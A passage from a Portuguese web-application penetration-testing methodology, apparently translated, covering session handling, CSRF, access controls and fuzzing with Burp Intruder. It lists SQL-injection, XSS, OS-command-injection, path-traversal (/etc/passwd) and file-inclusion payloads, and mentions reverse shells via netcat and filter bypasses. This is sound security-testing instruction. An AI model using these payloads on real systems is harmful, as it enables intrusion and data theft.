- Se a página for exibida normalmente, o token ainda estará ativo.
- Use tentativa e erro para determinar a duração de qualquer tempo limite de expiração de sessão ou se um token ainda pode ser usado dias após a solicitação anterior que o utilizou. O Burp Intruder pode ser configurado para incrementar o intervalo de tempo entre solicitações sucessivas para automatizar essa tarefa.

5.7.3 Verifique se existe uma função de logout. Se existir, teste se ela invalida efetivamente a sessão do usuário no servidor. Após o logout, tente reutilizar o token antigo e determine se ele ainda é válido solicitando uma página protegida usando o token. Se a sessão ainda estiver ativa, os usuários continuarão vulneráveis a alguns ataques de sequestro de sessão mesmo depois de terem feito o "logout". Você pode usar o Burp Repeater para continuar enviando uma solicitação específica do histórico do proxy para ver se o aplicativo responde de forma diferente após o logout.

5.8 Verificação da fixação da sessão

5.8.1 Se o aplicativo emitir tokens de sessão para usuários não autenticados, obtenha um token e faça um login. Se o aplicativo não emitir um novo token após um login bem-sucedido, ele estará vulnerável à fixação de sessão.

5.8.2 Mesmo que o aplicativo não emita tokens de sessão para usuários não autenticados, obtenha um token fazendo login e, em seguida, retorne à página de login. Se o aplicativo estiver disposto a retornar essa página mesmo que você já esteja autenticado, envie outro login como um usuário diferente usando o mesmo token. Se o aplicativo não emitir um novo token após o segundo login, ele estará vulnerável à fixação de sessão.

5.8.3 Identifique o formato dos tokens de sessão que o aplicativo usa. Modifique seu token para um valor inventado que seja formado de forma válida e tente fazer login. Se o aplicativo permitir que você crie uma sessão autenticada usando um token inventado, ele estará vulnerável à fixação de sessão.

5.8.4 Se o aplicativo não for compatível com o login, mas processar informações confidenciais do usuário (como detalhes pessoais e de pagamento) e permitir que elas sejam exibidas após o envio (como em uma página Verify My Order), execute os três testes anteriores em relação às páginas que exibem dados confidenciais. Se um token definido durante o uso anônimo do aplicativo puder ser usado posteriormente para recuperar informações confidenciais do usuário, o aplicativo estará vulnerável à fixação de sessão.

5.9 Verificação de CSRF

5.9.1 Se o aplicativo depender exclusivamente de cookies HTTP como seu método de transmissão de tokens de sessão, ele poderá ficar vulnerável a ataques de falsificação de solicitações entre sites.

5.9.2 Analise a funcionalidade principal do aplicativo e identifique as solicitações específicas que são usadas para executar ações confidenciais. Se um invasor puder determinar com antecedência os parâmetros de qualquer uma dessas solicitações (ou seja, elas não contêm tokens de sessão, dados imprevisíveis ou outros segredos), é quase certo que o aplicativo está vulnerável.

5.9.3 Crie uma página HTML que emitirá a solicitação desejada sem nenhuma interação do usuário. Para solicitações `GET`, você pode colocar uma tag `<img>` com o parâmetro `src` definido para o URL vulnerável. Para solicitações `POST`, você pode criar um formulário que contenha campos ocultos para todos os parâmetros relevantes necessários para o ataque e que tenha seu destino definido para o U R L vulnerável. Você pode usar o JavaScript para enviar automaticamente o formulário assim que a página for carregada. Enquanto estiver conectado ao aplicativo, use o mesmo navegador para carregar a página HTML. Verifique se a ação desejada é executada no aplicativo.

5.9.4 Se o aplicativo usar tokens adicionais nas solicitações em uma tentativa de evitar ataques CSRF, teste a robustez desses tokens da mesma forma que os tokens de sessão. Teste também se o aplicativo é vulnerável a ataques de reparação de interface do usuário, a fim de derrotar as defesas anti-CSRF (consulte o Capítulo 13 para obter mais detalhes).

5.10 Verificar o escopo do cookie

5.10.1 Se o aplicativo usar cookies HTTP para transmitir tokens de sessão (ou qualquer outro dado confidencial), examine os cabeçalhos `Set-Cookie` relevantes e verifique se há algum atributo de domínio ou caminho usado para controlar o escopo dos cookies.

5.10.2 Se o aplicativo liberalizar explicitamente o escopo de seus cookies para um domínio pai ou diretório pai, ele poderá ficar vulnerável a ataques por meio de outros aplicativos da Web hospedados no domínio ou diretório pai.

5.10.3 Se o aplicativo definir o escopo de domínio de seus cookies como seu próprio nome de domínio (ou não especificar um atributo de domínio), ele ainda poderá ser exposto a ataques por meio de quaisquer aplicativos hospedados em subdomínios. Essa é uma consequência de como o escopo do cookie funciona. Ele não pode ser evitado, a não ser pela não hospedagem de outros aplicativos em um subdomínio de um aplicativo sensível à segurança.

5.10.4 Determinar qualquer dependência da segregação por caminho, como `/site/main` e `/site/demo`, que pode ser subvertido no caso de um ataque de script entre sites.

5.10.5 Identifique todos os possíveis nomes de domínio e caminhos que receberão os cookies emitidos pelo aplicativo. Determine se há outros aplicativos da Web acessíveis por meio desses nomes de domínio ou caminhos que possam ser aproveitados para capturar os cookies emitidos para os usuários do aplicativo de destino.

6 Teste os controles de acesso

Figura 21-7: Teste de controles de acesso

6.1 Entenda os requisitos de controle de acesso

6.1.1 Com base na funcionalidade principal implementada no aplicativo, entenda os requisitos gerais para o controle de acesso em termos de segregação vertical (diferentes níveis de usuários têm acesso a diferentes tipos de funcionalidade) e segregação horizontal (usuários com o mesmo nível de privilégio têm acesso a diferentes subconjuntos de dados). Muitas vezes, os dois tipos de segregação estão presentes. Por exemplo, os usuários comuns podem ter acesso aos seus próprios dados, enquanto os administradores podem acessar os dados de todos.

6.1.2 Analise os resultados do mapeamento de aplicativos para identificar as áreas de funcionalidade e os tipos de recursos de dados que representam os alvos mais frutíferos para ataques de escalonamento de privilégios.

6.1.3 Para realizar o teste mais eficaz de vulnerabilidades de controle de acesso, o ideal é obter várias contas diferentes com privilégios verticais e horizontais diferentes. Se o autorregistro for possível, você provavelmente poderá obter a última conta diretamente do aplicativo. Para obter a primeira, você provavelmente precisará da cooperação do proprietário do aplicativo (ou precisará explorar alguma vulnerabilidade para obter acesso a uma conta com privilégios elevados). A disponibilidade de diferentes tipos de contas afetará os tipos de testes que você pode realizar, conforme descrito a seguir.

6.2 Teste com várias contas

6.2.1 Se o aplicativo aplicar a segregação vertical de privilégios, primeiro use uma conta poderosa para localizar todas as funcionalidades que ela pode acessar. Em seguida, use uma conta com menos privilégios e tente acessar cada item dessa funcionalidade.

6.2.1.1 Usando o Burp, navegue por todo o conteúdo do aplicativo em um contexto de usuário.

6.2.1.2 Revise o conteúdo do mapa do site do Burp para garantir que você identificou todas as funcionalidades que deseja testar. Em seguida, faça logout do aplicativo e faça login novamente usando um contexto de usuário diferente. Use o menu de contexto para selecionar o recurso "compare site maps" (comparar mapas do site) para determinar quais solicitações com privilégios altos podem estar acessíveis ao usuário com privilégios mais baixos. Consulte o Capítulo 8 para obter mais detalhes sobre essa técnica.

6.2.2 Se o aplicativo aplicar a segregação horizontal de privilégios, realize o teste equivalente usando duas contas diferentes com o mesmo nível de privilégio, tentando usar uma conta para acessar os dados pertencentes à outra conta. Normalmente, isso envolve a substituição de um identificador (como um ID de documento) em uma solicitação para especificar um recurso pertencente ao outro usuário.

6.2.3 Realize a verificação manual da lógica de controle de acesso às chaves.

6.2.3.1 Para cada privilégio de usuário, analise os recursos disponíveis para um usuário. Tente acessar esses recursos a partir de uma conta de usuário não autorizada, reproduzindo a solicitação usando o token de sessão do usuário não autorizado.

6.2.4 Ao realizar qualquer tipo de teste de controle de acesso, certifique-se de testar cada etapa das funções de vários estágios individualmente para confirmar se os controles de acesso foram implementados corretamente em cada estágio ou se o aplicativo pressupõe que os usuários que acessam um estágio posterior devem ter passado pelas verificações de segurança implementadas nos estágios anteriores. Por exemplo, se uma página administrativa que contém um formulário estiver devidamente protegida, verifique se o envio real do formulário também está sujeito a controles de acesso adequados.

6.3 Teste com acesso limitado

6.3.1 Se você não tiver acesso prévio a contas com diferentes níveis de privilégio ou a várias contas com acesso a diferentes dados, o teste de controles de acesso quebrados não será tão simples. Muitas vulnerabilidades comuns serão muito mais difíceis de localizar, pois você não sabe os nomes dos URLs, identificadores e parâmetros necessários para explorar os pontos fracos.

6.3.2 Em seus exercícios de mapeamento de aplicativos que usam uma conta com pouco privilégio, você pode ter identificado os URLs para funções privilegiadas, como interfaces administrativas. Se elas não estiverem adequadamente protegidas, você provavelmente já saberá disso.

6.3.3 Descompile todos os clientes compilados que estiverem presentes e extraia todas as referências à funcionalidade do lado do servidor.

6.3.4 A maioria dos dados sujeitos a controles de acesso horizontal é acessada por meio de um identificador, como um número de conta ou uma referência de pedido. Para testar se os controles de acesso são eficazes usando apenas uma única conta, você deve tentar adivinhar ou descobrir os identificadores associados aos dados de outros usuários. Se possível, gere uma série de identificadores em uma sucessão rápida (por exemplo, criando várias ordens novas). Tente identificar padrões que possam permitir a previsão dos identificadores emitidos para outros usuários. Se não houver uma maneira de gerar novos identificadores, você provavelmente estará restrito a analisar os que já possui e fazer suposições com base nisso.

6.3.5 Se você encontrar uma maneira de prever os identificadores emitidos para outros usuários, use as técnicas descritas no Capítulo 14 para montar um ataque automatizado para coletar dados interessantes pertencentes a outros usuários. Use a função Extract Grep no Burp Intruder para capturar as informações relevantes das respostas do aplicativo.

6.4 Teste de métodos de controle de acesso inseguro

6.4.1 Alguns aplicativos implementam controles de acesso com base em parâmetros de solicitação de uma forma inerentemente insegura. Procure parâmetros como `edit=false` ou `access=read` em qualquer solicitação de chave e modifique-os de acordo com sua função aparente para tentar interferir na lógica de controle de acesso do aplicativo.

6.4.2 Alguns aplicativos baseiam as decisões de controle de acesso no HTTP `Referer` cabeçalho. Por exemplo, um aplicativo pode controlar adequadamente o acesso a
`/admin.jsp` e aceitar qualquer solicitação que mostre isso como seu `Referer`. Para testar esse comportamento, tente executar algumas ações privilegiadas para as quais você está autorizado e envie um cabeçalho `Referer` ausente ou modificado. Se essa alteração fizer com que o aplicativo bloqueie sua solicitação, ele poderá estar usando o cabeçalho `Referer` de forma insegura. Tente executar a mesma ação como um usuário não autorizado, mas forneça o cabeçalho `Referer` original e veja se a ação é bem-sucedida.

6.4.3 Se `HEAD` for um método permitido no site, teste o controle de acesso gerenciado por contêiner inseguro a URLs. Faça uma solicitação usando o método `HEAD` para determinar se o aplicativo o permite.

7 Teste de vulnerabilidades baseadas em entrada

Muitas categorias importantes de vulnerabilidades são acionadas por entradas inesperadas do usuário e podem aparecer em qualquer lugar do aplicativo. Uma maneira eficaz de sondar o aplicativo em busca dessas vulnerabilidades é fazer o fuzz de cada parâmetro de cada solicitação com um conjunto de strings de ataque.

Figura 21-8: Teste de vulnerabilidades baseadas em entrada

7.1 Fuzz de todos os parâmetros de solicitação

7.1.1 Analise os resultados dos exercícios de mapeamento de aplicativos e identifique cada solicitação de cliente distinta que envia parâmetros que o aplicativo do lado do servidor processa. Os parâmetros relevantes incluem itens na string de consulta de URL, parâmetros no corpo da solicitação e cookies HTTP. Inclua também quaisquer outros itens de entrada do usuário que tenham sido observados como tendo efeito sobre o comportamento do aplicativo, como os cabeçalhos `Referer` ou `User-Agent`.

7.1.2 Para fazer fuzzing nos parâmetros, você pode usar seus próprios scripts ou uma ferramenta de fuzzing pronta. Por exemplo, para usar o Burp Intruder, carregue cada solicitação por vez na ferramenta. Uma maneira fácil de fazer isso é interceptar uma solicitação no Burp Proxy e selecionar a ação Send to Intruder ou clicar com o botão direito do mouse em um item no histórico do Burp Proxy e selecionar essa opção. O uso dessa opção configura o Burp Intruder com o conteúdo da solicitação, juntamente com o host e a porta de destino corretos. Ele também marca automaticamente os valores de todos os parâmetros da solicitação como posições de carga útil, prontas para fuzzing.

7.1.3 Usando a guia payloads, configure um conjunto adequado de payloads de ataque para sondar vulnerabilidades no aplicativo. Você pode inserir cargas úteis manualmente, carregá-las de um arquivo ou selecionar uma das listas de cargas úteis predefinidas. O fuzzing de cada parâmetro de solicitação dentro do aplicativo geralmente envolve a emissão de um grande

número de solicitações e a análise dos resultados em busca de anomalias. Se seu conjunto de strings de ataque for muito grande, isso pode ser contraproducente

e gerar uma quantidade proibitivamente grande de resultados para você analisar. Portanto, uma abordagem sensata é ter como alvo uma série de vulnerabilidades comuns que geralmente podem ser facilmente detectadas em respostas anômalas a entradas específicas criadas e que geralmente se manifestam em qualquer lugar dentro do aplicativo, e não em tipos específicos de funcionalidade. Aqui está um conjunto adequado de cargas úteis que você pode usar para testar algumas categorias comuns de vulnerabilidades:

Injeção de SQL

```
'
'--
'; waitfor delay '0:30:0'--
1; waitfor delay '0:30:0'--
```

XSS e injeção de cabeçalho

```
xsstest"><script>alert('xss')</scri
pt>
```

Injeção de comando do sistema operacional

```
|| ping -i 30 127.0.0.1 ; x || ping -n 30 127.0.0.1 &
| ping -i 30 127.0.0.1
| ping -n 30 127.0.0.1
& ping -i 30 127.0.0.1 &
& ping -n 30 127.0.0.1 &
; ping 127.0.0.1 ;
%0a ping -i 30 127.0.0.1 %0a
` ping 127.0.0.1 `
```

Transversão de caminho

```
../../../../../../../../../../../etc/passwd
../../../../../../../../../../../boot.ini
..\..\..\..\..\..\..\..\..\..\..\..\etc\passwd
..\..\..\..\..\..\..\..\..\..\..\boot.ini
```

Injeção de script

```
;echo 111111
echo 111111
response.write 111111
:response.write 111111
```

Inclusão de arquivos

```
http://<nome do seu servidor>/
http://<endereço IP inexistente>/
```

7.1.4 Todos os payloads anteriores são mostrados em sua forma literal. Os caracteres `?`, `;`, &, `+`, `=` e espaço precisam ser codificados no URL porque têm um

significado nas solicitações HTTP. Por padrão, o Burp Intruder executa a codificação necessária desses caracteres, portanto, certifique-se de que essa opção não tenha sido desativada. (Para restaurar todas as opções para seus padrões após a personalização anterior, selecione Burp ➢ Restore Defaults).

7.1.5 Na função Grep do Burp Intruder, configure um conjunto adequado de cadeias de caracteres para sinalizar algumas mensagens de erro comuns nas respostas. Por exemplo:

```
error
exception
illegal
invalid
fail
stack
access
directory
file
não
encontrado
varchar
ODBC
SQL
SELECT
111111
```

Observe que a string `111111` foi incluída para testar ataques bem-sucedidos de injeção de script. As cargas úteis na etapa 7.1.3 envolvem a gravação desse valor na resposta do servidor.

7.1.6 Selecione também a opção Payload Grep para sinalizar as respostas que contêm a própria carga útil, indicando uma possível vulnerabilidade de XSS ou de injeção de cabeçalho.

7.1.7 Configure um servidor da Web ou um ouvinte netcat no host que você especificou na primeira carga útil de inclusão de arquivo. Isso o ajuda a monitorar as tentativas de conexão recebidas do servidor resultantes de um ataque de inclusão de arquivo remoto bem-sucedido.

7.1.8 Inicie o ataque. Quando ele for concluído, analise os resultados em busca de respostas anômalas que indiquem a presença de vulnerabilidades. Verifique se há divergências no código de status HTTP, no comprimento da resposta, no tempo de resposta, na aparência de suas expressões configuradas e na aparência da própria carga útil. Você pode clicar em cada título de coluna na tabela de resultados para classificar os resultados pelos valores dessa coluna (e clicar com a tecla Shift pressionada para classificar os resultados de forma inversa). Isso permite que você identifique rapidamente quaisquer anomalias que se destaquem dos outros resultados.

7.1.9 Para cada vulnerabilidade potencial indicada pelos resultados do teste de fuzzificação, consulte as seções seguintes desta metodologia. Elas descrevem as etapas detalhadas que você deve seguir em relação a cada categoria de problema para verificar a existência de uma vulnerabilidade e

explorá-la com êxito.

7.1.10 Depois de configurar o Burp Intruder para executar um teste de fuzz de uma única solicitação, você pode repetir rapidamente o mesmo teste em outras solicitações do aplicativo. Basta selecionar cada solicitação de destino no Burp Proxy e escolher a opção Send to Intruder. Em seguida, inicie imediatamente o ataque no Intruder usando a configuração de ataque existente. Dessa forma, você pode iniciar um grande número de testes simultaneamente em janelas separadas e revisar manualmente os resultados à medida que cada teste conclui seu trabalho.

7.1.11 Se os seus exercícios de mapeamento identificaram algum canal de entrada fora da banda por meio do qual a entrada controlável pelo usuário pode ser introduzida no processamento do aplicativo, você deve realizar um exercício de fuzzing semelhante nesses canais de entrada. Envie vários dados criados para acionar vulnerabilidades comuns quando processados no aplicativo Web. Dependendo da natureza do canal de entrada, talvez seja necessário criar um script personalizado ou outro tipo de controle para essa finalidade.

7.1.12 Além do seu próprio fuzzing de solicitações de aplicativos, se você tiver acesso a um scanner automatizado de vulnerabilidades de aplicativos da Web, deverá executá-lo no aplicativo de destino para fornecer uma base de comparação com suas próprias descobertas.

7.2 Teste de injeção de SQL

7.2.1 Se as cadeias de ataque SQL listadas na etapa 7.1.3 resultarem em respostas anômalas, examine manualmente o tratamento do parâmetro relevante pelo aplicativo para determinar se há uma vulnerabilidade de injeção de SQL.

7.2.2 Se alguma mensagem de erro do banco de dados tiver sido retornada, investigue seu significado. Use a seção "Sintaxe SQL e referência de erros" no Capítulo 9 para ajudar a interpretar as mensagens de erro em algumas plataformas de banco de dados comuns.

7.2.3 Se o envio de uma única aspa no parâmetro causar um erro ou outro comportamento anômalo, envie duas aspas simples. Se essa entrada fizer com que o erro ou o comportamento anômalo desapareça, o aplicativo provavelmente está vulnerável à injeção de SQL.

7.2.4 Tente usar as funções comuns de concatenação de cadeia de caracteres do SQL para construir uma cadeia de caracteres que seja equivalente a alguma entrada benigna. Se isso causar a mesma resposta que a entrada original benigna, o aplicativo provavelmente está vulnerável. Por exemplo, se a entrada original for a expressão `FOO`, você poderá executar esse teste usando os seguintes itens (no terceiro exemplo, observe o espaço entre as duas aspas):

```
'||'FOO
'+'FOO
' 'FOO
```

Como sempre, certifique-se de codificar no URL caracteres como + e espaço, que têm um significado especial nas solicitações HTTP.

7.2.5 Se a entrada original for numérica, tente usar uma expressão matemática que seja equivalente ao valor original. Por exemplo, se o valor original for 2, tente enviar 1+1 ou 3-1. Se o aplicativo responder da mesma forma, ele pode estar vulnerável, principalmente se o valor da expressão numérica tiver um efeito sistemático no comportamento do aplicativo.

7.2.6 Se o teste anterior for bem-sucedido, você poderá ter mais certeza de que uma vulnerabilidade de injeção de SQL está envolvida usando expressões matemáticas específicas de SQL para construir um determinado valor. Se a lógica do aplicativo puder ser sistematicamente manipulada dessa forma, é quase certo que ele seja vulnerável à injeção de SQL. Por exemplo, ambos os itens a seguir são equivalentes ao número 2:

```
67-ASCII('A')
51-ASCII(1)
```

7.2.7 Se um dos casos de teste de fuzz usando o comando `waitfor` resultar em um atraso anormal antes de o aplicativo responder, esse é um forte indicador de que o tipo de banco de dados é MS-SQL e o aplicativo é vulnerável à injeção de SQL. Repita o teste manualmente, especificando valores diferentes no parâmetro `waitfor`, e determine se o tempo necessário para responder varia sistematicamente com esse valor. Observe que a carga útil do ataque pode ser inserida em mais de uma consulta SQL, portanto, o atraso observado pode ser um múltiplo fixo do valor especificado.

7.2.8 Se o aplicativo for vulnerável à injeção de SQL, considere que tipos de ataques são viáveis e provavelmente o ajudarão a atingir seus objetivos. Consulte o Capítulo 9 para obter as etapas detalhadas necessárias para realizar qualquer um dos seguintes ataques:

- Modifique as condições em uma cláusula `WHERE` para alterar a lógica do aplicativo (por exemplo, injetando `ou 1=1--` para ignorar um login).
- Use o operador `UNION` para injetar uma consulta `SELECT` arbitrária e combinar os resultados com os da consulta original do aplicativo.
- Faça a impressão digital do tipo de banco de dados usando a sintaxe SQL específica do banco de dados.
- Se o tipo de banco de dados for MS-SQL e o aplicativo retornar mensagens de erro ODBC em suas respostas, aproveite-as para enumerar a estrutura do banco de dados e recuperar dados arbitrários.
- Se você não conseguir encontrar uma maneira de recuperar diretamente os resultados de uma consulta injetada arbitrariamente, use as seguintes técnicas avançadas para extrair dados:
  - Recupera dados de cadeia de caracteres em formato numérico, um byte de cada vez.
  - Use um canal fora da banda.

  - Se você puder causar diferentes respostas de aplicativos com base em uma única condição arbitrária, use o Absinthe para extrair dados arbitrários um bit por vez.
  - Se você puder acionar atrasos de tempo com base em uma única condição arbitrária, explore-os para recuperar dados um bit por vez.
- Se o aplicativo estiver bloqueando determinados caracteres ou expressões necessários para realizar um ataque específico, tente as várias técnicas de desvio descritas no Capítulo 9 para contornar o filtro de entrada.
- Se possível, amplie o ataque contra o banco de dados e o servidor subjacente, aproveitando quaisquer vulnerabilidades ou funções poderosas do banco de dados.

7.3 Teste de XSS e outras injeções de resposta

7.3.1 *Identificar parâmetros de solicitação refletidos*

7.3.1.1 Classifique os resultados de seu teste de fuzz clicando na coluna Payload Grep e identifique quaisquer correspondências correspondentes às cargas úteis de XSS listadas na etapa 7.1.3. Esses são casos em que as cadeias de caracteres de teste XSS foram retornadas sem modificações nas respostas do aplicativo.

7.3.1.2 Para cada um desses casos, analise a resposta do aplicativo para encontrar a localização da entrada fornecida. Se ela aparecer no corpo da resposta, teste as vulnerabilidades de XSS. Se a entrada aparecer em qualquer cabeçalho HTTP, teste as vulnerabilidades de injeção de cabeçalho. Se ela for usada no cabeçalho `Location` de uma resposta 302 ou se for usada para especificar um redirecionamento de alguma outra forma, teste as vulnerabilidades de redirecionamento. Observe que a mesma entrada pode ser copiada em vários locais dentro da resposta e que mais de um tipo de vulnerabilidade refletida pode estar presente.

7.3.2 *Teste de XSS refletido*

7.3.2.1 Para cada local no corpo da resposta em que o valor do parâmetro de solicitação aparecer, examine o HTML ao redor para identificar possíveis maneiras de criar sua entrada para causar a execução de JavaScript arbitrário. Por exemplo, você pode injetar tags `<script>`, injetar em um script existente ou colocar um valor criado em um atributo de tag.

7.3.2.2 Use os diferentes métodos de superação de filtros baseados em assinatura descritos no Capítulo 12 como referência para as diferentes maneiras pelas quais a entrada criada pode ser usada para causar a execução do JavaScript.

7.3.2.3 Tente enviar várias explorações possíveis para o aplicativo e monitore suas respostas para determinar se há alguma filtragem ou sanitização de entrada

está sendo executado. Se a string de ataque for retornada sem modificações, use um navegador para verificar conclusivamente se você conseguiu executar JavaScript arbitrário (por exemplo, gerando uma caixa de diálogo de alerta).

7.3.2.4 Se você perceber que o aplicativo está bloqueando a entrada que contém determinados caracteres ou expressões que você precisa usar, ou que está codificando determinados caracteres em HTML, experimente os vários desvios de filtro descritos no Capítulo 12.

7.3.2.5 Se você encontrar uma vulnerabilidade XSS em uma solicitação `POST`, ela ainda poderá ser explorada por meio de um site malicioso que contenha um formulário com os parâmetros necessários e um script para enviar automaticamente o formulário. No entanto, uma variedade maior de mecanismos de entrega de ataques estará disponível se a exploração puder ser entregue por meio de uma solicitação `GET`. Tente enviar os mesmos parâmetros em uma solicitação `GET` e veja se o ataque ainda é bem-sucedido. Você pode usar a ação Change Request Method no Burp Proxy para converter a solicitação para você.

7.3.3 *Teste de injeção de cabeçalho HTTP*

7.3.3.1 Para cada local nos cabeçalhos de resposta em que o valor do parâmetro de solicitação aparece, verifique se o aplicativo aceita dados que contenham caracteres carriage-return (`%0d`) e line-feed (`%0a`) codificados por URL e se eles são retornados sem limpeza em sua resposta. (Observe que você está procurando que os próprios caracteres de nova linha apareçam na resposta do servidor, não seus equivalentes codificados no URL).

7.3.3.2 Se uma nova linha aparecer nos cabeçalhos de resposta do servidor quando você fornecer uma entrada criada, o aplicativo estará vulnerável à injeção de cabeçalho HTTP. Isso pode ser aproveitado para realizar vários ataques, conforme descrito no Capítulo 13.

7.3.3.3 Se você descobrir que apenas um dos dois caracteres de nova linha é retornado nas respostas do servidor, ainda poderá ser possível criar uma exploração funcional, dependendo do contexto e do navegador do usuário-alvo.

7.3.3.4 Se você achar que o aplicativo bloqueia a entrada que contém caracteres de nova linha ou higieniza esses caracteres em sua resposta, experimente os seguintes itens de entrada para testar a eficácia do filtro:

```
foo%00%0d%0abar foo%250d%250abar
foo%0d0d%%0a0abar
```

7.3.4 *Teste de redirecionamento aberto*

7.3.4.1 Se a entrada refletida for usada para especificar o destino de um redirecionamento de algum tipo, teste se é possível fornecer uma entrada criada que resulte em

um redirecionamento arbitrário para um site externo. Se for o caso, esse comportamento pode ser explorado para dar credibilidade a um ataque do tipo phishing.

7.3.4.2 Se o aplicativo normalmente transmite um URL absoluto como valor do parâmetro, modifique o nome do domínio no URL e teste se o aplicativo o redireciona para o domínio diferente.

7.3.4.3 Se o parâmetro normalmente contiver um URL relativo, modifique-o em um URL absoluto para um domínio diferente e teste se o aplicativo o redireciona para esse domínio.

7.3.4.4 Se o aplicativo realizar alguma validação no parâmetro antes de executar o redirecionamento, em um esforço para evitar o redirecionamento externo, isso geralmente é vulnerável a desvios. Experimente os vários ataques descritos no Capítulo 13 para testar a robustez dos filtros.

7.3.5 *Teste de ataques armazenados*

7.3.5.1 Se o aplicativo armazenar itens de entrada fornecidos pelo usuário e, posteriormente, exibi-los na tela, depois de ter feito o fuzzing em todo o aplicativo, você poderá observar algumas das suas cadeias de caracteres de ataque sendo retornadas em respostas a solicitações que não continham essas cadeias. Observe todas as instâncias em que isso ocorre e identifique o ponto de entrada original dos dados que estão sendo armazenados.

7.3.5.2 Em alguns casos, os dados fornecidos pelo usuário são armazenados com êxito somente se você concluir um processo de vários estágios, o que não ocorre em testes básicos de fuzz. Se os exercícios de mapeamento de aplicativos identificaram alguma funcionalidade desse tipo, percorra manualmente o processo relevante e teste os dados armazenados quanto a vulnerabilidades de XSS.

7.3.5.3 Se tiver acesso suficiente para testá-lo, analise atentamente qualquer funcionalidade administrativa em que os dados originados de usuários com poucos privilégios sejam renderizados na tela na sessão de usuários mais privilegiados. Qualquer vulnerabilidade XSS armazenada em uma funcionalidade desse tipo geralmente leva diretamente ao aumento de privilégios.

7.3.5.4 Teste todas as instâncias em que os dados fornecidos pelo usuário são armazenados e exibidos aos usuários. Verifique se há XSS e outros ataques de injeção de resposta descritos anteriormente.

7.3.5.5 Se você encontrar uma vulnerabilidade na qual a entrada fornecida por um usuário é exibida para outros usuários, determine a carga útil de ataque mais eficaz com a qual você pode atingir seus objetivos, como sequestro de sessão ou falsificação de solicitação. Se os dados armazenados forem exibidos apenas para o mesmo usuário que os originou, tente encontrar maneiras de encadear quaisquer outras vulnerabilidades que tenha descoberto (como controles de acesso quebrados) para injetar um ataque nas sessões de outros usuários.

7.3.5.6 Se o aplicativo permitir o upload e o download de arquivos, sempre examine essa funcionalidade para verificar se há ataques de XSS armazenados. Se o aplicativo permitir arquivos HTML, JAR ou de texto e não validar ou higienizar seu conteúdo, é quase certo que está vulnerável. Se ele permitir arquivos JPEG e não validar se eles contêm imagens válidas, provavelmente está vulnerável a ataques contra usuários do Internet Explorer. Teste a manipulação de cada tipo de arquivo suportado pelo aplicativo e confirme como os navegadores manipulam as respostas que contêm HTML em vez do tipo de conteúdo normal.

7.3.5.7 Em todos os locais em que os dados enviados por um usuário são exibidos para outros usuários, mas onde os filtros do aplicativo impedem que você execute um ataque de XSS armazenado, verifique se o comportamento do aplicativo o deixa vulnerável à falsificação de solicitações no local.

7.4 Teste de injeção de comando do sistema operacional

7.4.1 Se alguma das cadeias de ataque de injeção de comando listadas na etapa 7.1.3 resultar em um atraso anormal antes de o aplicativo responder, esse é um forte indicador de que o aplicativo é vulnerável à injeção de comando do sistema operacional. Repita o teste, especificando manualmente valores diferentes em `-i` ou `-n` e determinar se o tempo necessário para responder varia sistematicamente com esse valor.

7.4.2 Usando qualquer uma das cadeias de injeção que foi considerada bem-sucedida, tente injetar um comando mais interessante (como `ls` ou `dir`) e determine se você pode recuperar os resultados do comando em seu navegador.

7.4.3 Se você não conseguir recuperar os resultados diretamente, há outras opções disponíveis:

- Você pode tentar abrir um canal fora de banda de volta ao seu computador. Tente usar o TFTP para copiar ferramentas para o servidor, usando telnet ou netcat para criar um shell reverso de volta ao seu computador e usando o comando mail para enviar a saída do comando via SMTP.
- Você pode redirecionar os resultados dos seus comandos para um arquivo na raiz da Web, que pode ser recuperado diretamente usando o navegador. Por exemplo:

```
dir > c:\inetpub\wwwroot\foo.txt
```

7.4.4 Se você encontrar uma maneira de injetar comandos e recuperar os resultados, deverá determinar seu nível de privilégio (usando `whoami` ou um comando semelhante, ou tentando gravar um arquivo inofensivo em um diretório protegido). Em seguida, você pode tentar aumentar os privilégios, obter acesso backdoor a dados confidenciais do aplicativo ou atacar outros hosts que possam ser acessados a partir do servidor comprometido.

7.4.5 Se você acredita que sua entrada está sendo passada para algum tipo de comando do sistema operacional, mas as cadeias de ataque listadas não tiveram êxito, verifique se é possível usar o caractere < ou > para direcionar o conteúdo de um arquivo para a entrada do comando ou para direcionar a saída do comando para um arquivo. Isso pode permitir que você leia ou grave conteúdos de arquivos arbitrários. Se você souber ou puder adivinhar o comando real que está sendo executado, tente injetar parâmetros de linha de comando associados a esse comando para modificar seu comportamento de maneiras úteis (por exemplo, especificando um arquivo de saída na raiz da Web).

7.4.6 Se você perceber que o aplicativo está escapando de determinados caracteres-chave necessários para realizar um ataque de injeção de comando, tente colocar o caractere de escape antes de cada um desses caracteres. Se o aplicativo não escapar o próprio caractere de escape, isso geralmente leva a um desvio dessa medida defensiva. Se você descobrir que os caracteres de espaço em branco são bloqueados ou higienizados, poderá usar `$IFS` no lugar de espaços em plataformas baseadas em UNIX.

7.5 Teste de passagem de caminho

7.5.1 Para cada teste de fuzz que você realizou, analise os resultados gerados pelas cadeias de ataque de passagem de caminho listadas na etapa 7.1.3. Você pode clicar na parte superior da coluna de carga útil no Burp Intruder para classificar a tabela de resultados por carga útil e agrupar os resultados dessas cadeias de caracteres. Em todos os casos em que foi recebida uma mensagem de erro incomum ou uma resposta com um comprimento anormal, revise a resposta manualmente para determinar se ela contém o conteúdo do arquivo especificado ou outra evidência de que ocorreu uma operação de arquivo anômala.

7.5.2 No seu mapeamento da superfície de ataque do aplicativo, você deve ter observado qualquer funcionalidade que suporte especificamente a leitura e a gravação de arquivos com base na entrada fornecida pelo usuário. Além do fuzzing geral de todos os parâmetros, você deve testar manualmente essa funcionalidade com muito cuidado para identificar as vulnerabilidades de passagem de caminho existentes.

7.5.3 Quando um parâmetro parecer conter um nome de arquivo, uma parte de um nome de arquivo ou um diretório, modifique o valor existente do parâmetro para inserir um subdiretório arbitrário e uma única sequência de passagem. Por exemplo, se o aplicativo enviar este parâmetro:

```
file=foo/file1.txt
```

tente enviar esse valor:

```
file=foo/bar/../file1.txt
```

Se o comportamento do aplicativo for idêntico nos dois casos, ele pode estar vulnerável e você deve prosseguir para a próxima etapa. Se o comportamento for diferente, o aplicativo pode estar bloqueando, removendo ou higienizando

sequências transversais, resultando em um caminho de arquivo inválido. Tente usar a codificação e outros ataques descritos no Capítulo 10 em uma tentativa de contornar os filtros.

